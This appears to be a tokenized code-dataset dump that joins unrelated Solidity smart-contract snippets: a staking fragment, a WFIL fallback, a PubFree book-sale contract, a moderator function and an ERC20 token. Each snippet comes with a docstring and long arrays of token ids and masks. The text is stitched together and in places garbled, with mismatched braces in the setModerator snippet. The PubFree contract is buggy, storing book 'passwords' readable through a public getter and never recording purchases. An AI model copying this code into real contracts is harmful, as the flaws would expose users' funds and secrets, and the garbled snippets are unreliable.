if (accounts.length != isOverdues.length) revert LengthNotMatch();
if (totalStaked < totalFrozen) revert ErrorTotalStake();
uint256 effectiveTotalStaked = totalStaked - totalFrozen;
comptroller.updateTotalStaked(stakingToken, effectiveTotalStaked);
for (uint256 i = 0; i < accounts.length; i++) {
if (accounts[i] != address(0)) _updateTotalFrozen(accounts[i], isOverdues[i]);
}
}
function _updateTotalFrozen(address account, bool isOverdue) private {
if (isOverdue) {
//isOverdue = true, user overdue needs to increase totalFrozen
//The sum of the locked amount of all stakers on this borrower, which is the frozen amount that needs to be updated
uint256 amount;
for (uint256 i = 0; i < members[account].creditLine.stakerAddresses.length; i++) {
address staker = members[account].creditLine.stakerAddresses[i];
uint256 lockedStake = getLockedStake(staker, account);
amount += lockedStake;
}
if (memberFrozen[account] == 0) {
//I haven’t updated the frozen amount about this borrower before, just increase the amount directly
totalFrozen += amount;
} else {
//I have updated the frozen amount of this borrower before. After increasing the amount, subtract the previously increased value to avoid repeated additions.
totalFrozen = totalFrozen + amount - memberFrozen[account];
}
//Record the increased value of this borrower this time
memberFrozen[account] = amount;
} else {
//isOverdue = false, the user loan needs to reduce the number of frozen last time to return to normal
if (totalFrozen > memberFrozen[account]) {
//Minus the frozen amount added last time
totalFrozen -= memberFrozen[account];
} else {
totalFrozen = 0;
}
memberFrozen[account] = 0;
}
}
function getFrozenCoinAge(address staker, uint256 pastBlocks) public view override returns (uint256) {
uint256 totalFrozenCoinAge = 0;
address[] memory borrowerAddresses = getBorrowerAddresses(staker);
uint256 addressLength = borrowerAddresses.length;
for (uint256 i = 0; i < addressLength; i++) {
address borrower = borrowerAddresses[i];
uint256 blocks = block.number - uToken.getLastRepay(borrower);
if (uToken.checkIsOverdue(borrower)) {
(, , uint256 lockedStake) = getStakerAsset(borrower, staker);
if (pastBlocks >= blocks) {
totalFrozenCoinAge = totalFrozenCoinAge + (lockedStake * blocks);
} else {
totalFrozenCoinAge = totalFrozenCoinAge + (lockedStake * pastBlocks);
}
}
}
return totalFrozenCoinAge;
}
} | * @dev Get member backer asset @param account Member address @param borrower Borrower address @return trustAmount vouchingAmount lockedStake. Trust amount, vouch amount, and locked stake amount/ | function getBorrowerAsset(address account, address borrower)
public
view
override
returns (
uint256 trustAmount,
uint256 vouchingAmount,
uint256 lockedStake
)
{
trustAmount = members[account].creditLine.borrowers[borrower];
lockedStake = getLockedStake(account, borrower);
vouchingAmount = getVouchingAmount(account, borrower);
}
| 528,795 | [
1,
967,
3140,
1473,
264,
3310,
282,
2236,
8596,
1758,
282,
29759,
264,
605,
15318,
264,
1758,
225,
327,
10267,
6275,
331,
7309,
310,
6275,
8586,
510,
911,
18,
20246,
3844,
16,
331,
7309,
3844,
16,
471,
8586,
384,
911,
3844,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
2882,
15318,
264,
6672,
12,
2867,
2236,
16,
1758,
29759,
264,
13,
203,
3639,
1071,
203,
3639,
1476,
203,
3639,
3849,
203,
3639,
1135,
261,
203,
5411,
2254,
5034,
10267,
6275,
16,
203,
5411,
2254,
5034,
331,
7309,
310,
6275,
16,
203,
5411,
2254,
5034,
8586,
510,
911,
203,
3639,
262,
203,
565,
288,
203,
3639,
10267,
6275,
273,
4833,
63,
4631,
8009,
20688,
1670,
18,
70,
15318,
414,
63,
70,
15318,
264,
15533,
203,
3639,
8586,
510,
911,
273,
336,
8966,
510,
911,
12,
4631,
16,
29759,
264,
1769,
203,
3639,
331,
7309,
310,
6275,
273,
11031,
7309,
310,
6275,
12,
4631,
16,
29759,
264,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0xB34756f8D9682ab6C26F77f9461207a65c52c8bC/sources/contracts/IVaultHandler.sol | @notice Id To Vault | mapping(uint256 => Vault) public vaults;
| 12,419,647 | [
1,
548,
2974,
17329,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
202,
6770,
12,
11890,
5034,
516,
17329,
13,
1071,
9229,
87,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xd187C6C8C6aeE0F021F92cB02887A21D529e26cb/sources/home/hackfs/wfil-token/contracts/WFIL.sol | @notice Fallback function @dev Added not payable to revert transactions not matching any other function which send value | fallback() external {
revert("WFIL: function not matching any other");
}
| 3,081,875 | [
1,
12355,
445,
225,
25808,
486,
8843,
429,
358,
15226,
8938,
486,
3607,
1281,
1308,
445,
1492,
1366,
460,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
5922,
1435,
3903,
288,
203,
3639,
15226,
2932,
59,
10474,
30,
445,
486,
3607,
1281,
1308,
8863,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma experimental ABIEncoderV2;
import "./Ownable.sol";
import "./SafeMath.sol";
/// PubFree contract.
///
/// TODO: missing comments.
contract PubFree is Ownable {
using SafeMath for uint256;
/// Abstraction of a book published on PubFree.
///
/// Life of a Book:
/// - Published by an author(User).
/// - Users buy the published Book.
/// - Users add reviews to the Book.
/// - Users can read book reviews.
struct Book {
// Required. Unique identifier of the book, auto assigned by the system.
uint bookId;
// Required. Author uid of the book.
uint authorUid;
// Required. User gets password after buying the book.
string password;
// Book title, optional.
string title;
// Book price in ether.
uint price;
// Reviews of this Book.
uint[] reviews;
}
// Book storage: BookId -> Book.
Book[] books;
/// Abstraction of User on PubFree. User can be Reader as well as Author.
///
/// Life of a User:
/// - User registers on PubFree. (Skip)
/// - User signs into PubFree. (Skip)
///
/// Life of an Author:
/// - Author publishes a book.
/// - Author gets token when readers buy the Book.
///
/// Life of a Reader:
/// - Reader buys a Book.
/// - Reader adds a Review.
/// - Reader reviews all Books, gets average rating of a Book.
struct User {
// Required. Auto assigned by the system.
uint userId;
// Required. User's wallet address.
address account;
// Books bought by the user.
uint[] ownedBooks;
// Books authored and published by the user;
uint[] publishedBooks;
}
// User storage: userId -> User.
User[] public users;
// User address mapping: address -> userId.
mapping(address => uint) public userAccountToId;
/// Abstraction of Book Review.
///
/// Life of a Review:
/// - Book buyer(reader) writes a Review.
/// - Readers review existing Reviews of the Book.
/// - Readers get average rating of a Book based on Reviews.
struct Review {
// Required. Unique identifier of the Review.
uint reviewId;
// Required. BookId.
uint bookId;
// Required. User who gave this review.
uint reviewerId;
// Required. Rating should range from 1 to 5.
uint rating;
}
// Review storage: reviewId -> Review.
Review[] reviews;
/// *** Public functions ***
// FE pulls all Books.
function getAllBooks() external view returns (Book[]) {
return books;
}
// FE pulls one Book.
function getBook(uint bookId) external view returns (Book) {
return books[bookId];
}
// Author publishes a book.
// TODO: missing comments.
function PublishBook(string title, uint price, string password) external returns (bool) {
uint authorId = _getUserIdCreateIfNotExist();
// Add created Book to Author.
// TODO: Assuming there are no duplicate books published.
User storage author = users[authorId];
uint newBookId = _makeBook(title, price, password);
author.publishedBooks.push(newBookId);
// StatusOk();
return true;
}
function BuyBook(uint bookId) external payable returns (bool) {
require(msg.value >= books[bookId].price);
require(msg.sender.balance >= books[bookId].price);
uint authorId = books[bookId].authorUid;
_transferBalance(authorId, books[bookId].price);
// StatusOk();
return true;
}
function AddReview(uint bookId, uint rating) external returns (uint) {
uint reviewerId = _getUserIdCreateIfNotExist();
return _makeReview(bookId, reviewerId, rating);
}
/// *** Public functions END ***
/// *** Private functions ***
// TODO: missing comments.
function _getUserIdCreateIfNotExist() internal returns (uint) {
uint userId = userAccountToId[msg.sender];
if (userId == 0) {
userId = _makeUser();
}
return userId;
}
// TODO: missing comments.
function _makeUser() internal returns (uint) {
uint newUserId = users.length;
uint[] storage ownedBooks;
uint[] storage publishedBooks;
users.push(User({userId: newUserId,
account: msg.sender,
ownedBooks: ownedBooks,
publishedBooks: publishedBooks
}));
userAccountToId[msg.sender] = newUserId;
return newUserId;
}
// TODO: missing comments.
function _makeBook(string title, uint price, string password) internal returns (uint) {
uint newBookId = books.length;
uint authorId = userAccountToId[msg.sender];
uint[] storage reivewIds;
books.push(Book({bookId: newBookId,
authorUid: authorId,
title: title,
price: price,
password: password,
reviews: reivewIds
}));
return newBookId;
}
// TODO: missing comments.
function _makeReview(uint bookId, uint reviewerId, uint rating) internal returns (uint) {
uint newReviewId = reviews.length;
reviews.push(Review({reviewId: newReviewId,
bookId: bookId,
reviewerId: reviewerId,
rating: rating
}));
books[bookId].reviews.push(newReviewId);
return reviewerId;
}
// TODO: missing comments.
function _transferBalance(uint receiverId, uint cost) internal returns (bool) {
User storage receiver = users[receiverId];
receiver.account.transfer(cost);
// StatusOk();
return true;
}
/// *** Private functions END ***
}
| Author publishes a book. TODO: missing comments. Add created Book to Author. TODO: Assuming there are no duplicate books published. StatusOk(); | function PublishBook(string title, uint price, string password) external returns (bool) {
uint authorId = _getUserIdCreateIfNotExist();
User storage author = users[authorId];
uint newBookId = _makeBook(title, price, password);
author.publishedBooks.push(newBookId);
return true;
}
| 13,009,963 | [
1,
3594,
17060,
279,
6978,
18,
2660,
30,
3315,
5678,
18,
1436,
2522,
20258,
358,
6712,
18,
2660,
30,
4725,
21249,
1915,
854,
1158,
6751,
6978,
87,
9487,
18,
2685,
8809,
5621,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
9761,
9084,
12,
1080,
2077,
16,
2254,
6205,
16,
533,
2201,
13,
3903,
1135,
261,
6430,
13,
288,
203,
3639,
2254,
2869,
548,
273,
389,
588,
10502,
1684,
2047,
8418,
5621,
203,
203,
3639,
2177,
2502,
2869,
273,
3677,
63,
4161,
548,
15533,
203,
3639,
2254,
394,
9084,
548,
273,
389,
6540,
9084,
12,
2649,
16,
6205,
16,
2201,
1769,
203,
3639,
2869,
18,
12614,
9084,
87,
18,
6206,
12,
2704,
9084,
548,
1769,
203,
540,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/100/0xd2FDc59405d1D6B5F293AB3E8fC2fC62D110Ecd6/sources/contracts/OrbisMain.sol | TODO: Finalize function to allow community admins to make someone a moderator | ) public onlyAdmin(_communityID) {
uint _membershipID = _getMembership(_communityID, _member);
function invite(
uint _communityID,
address _member
}
function setModerator(
uint _communityID,
address _member
if(_membershipID == 0) {
_createMembership(_communityID, _member, Roles.Moderator);
_updateMembershipRole(_membershipID, Roles.Moderator);
}
} else {
}
| 14,267,225 | [
1,
6241,
30,
30740,
445,
358,
1699,
19833,
31116,
358,
1221,
18626,
279,
681,
7385,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
262,
1071,
1338,
4446,
24899,
20859,
734,
13,
288,
203,
3639,
2254,
389,
19679,
734,
273,
389,
588,
13447,
24899,
20859,
734,
16,
389,
5990,
1769,
203,
565,
445,
19035,
12,
203,
3639,
2254,
389,
20859,
734,
16,
7010,
3639,
1758,
389,
5990,
203,
565,
289,
203,
377,
203,
565,
445,
444,
1739,
7385,
12,
203,
3639,
2254,
389,
20859,
734,
16,
7010,
3639,
1758,
389,
5990,
203,
3639,
309,
24899,
19679,
734,
422,
374,
13,
288,
203,
5411,
389,
2640,
13447,
24899,
20859,
734,
16,
389,
5990,
16,
19576,
18,
1739,
7385,
1769,
203,
5411,
389,
2725,
13447,
2996,
24899,
19679,
734,
16,
19576,
18,
1739,
7385,
1769,
203,
3639,
289,
203,
3639,
289,
469,
288,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
// ----------------------------------------------------------------------------
// Tov token contract - Mainnet
//
// Deployed to :
// Symbol : TOV
// Name : Tov
// Total supply: 70000000
// Decimals : 18
//
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
interface ERC20Interface {
function totalSupply() external returns (uint);
function balanceOf(address tokenOwner) external returns (uint balance);
function allowance(address tokenOwner, address spender) external returns (uint remaining);
function transfer(address to, uint tokens) external returns (bool success);
function approve(address spender, uint tokens) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
// contract ApproveAndCallFallBack {
// function receiveApproval(address from, uint256 tokens, address token, bytes memory data) virtual public;
// }
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
// owner = msg.sender;
owner = 0x5968f23FEcc232715f9DF4c6CeB1069B6554bbEd;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Tov is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() {
symbol = "TOV";
name = "Tov";
decimals = 18;
_totalSupply = 70000000000000000000000000;
// balances[msg.sender] = _totalSupply;
balances[0x5968f23FEcc232715f9DF4c6CeB1069B6554bbEd] = _totalSupply;
emit Transfer(address(0), 0x5968f23FEcc232715f9DF4c6CeB1069B6554bbEd, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view override returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view override returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
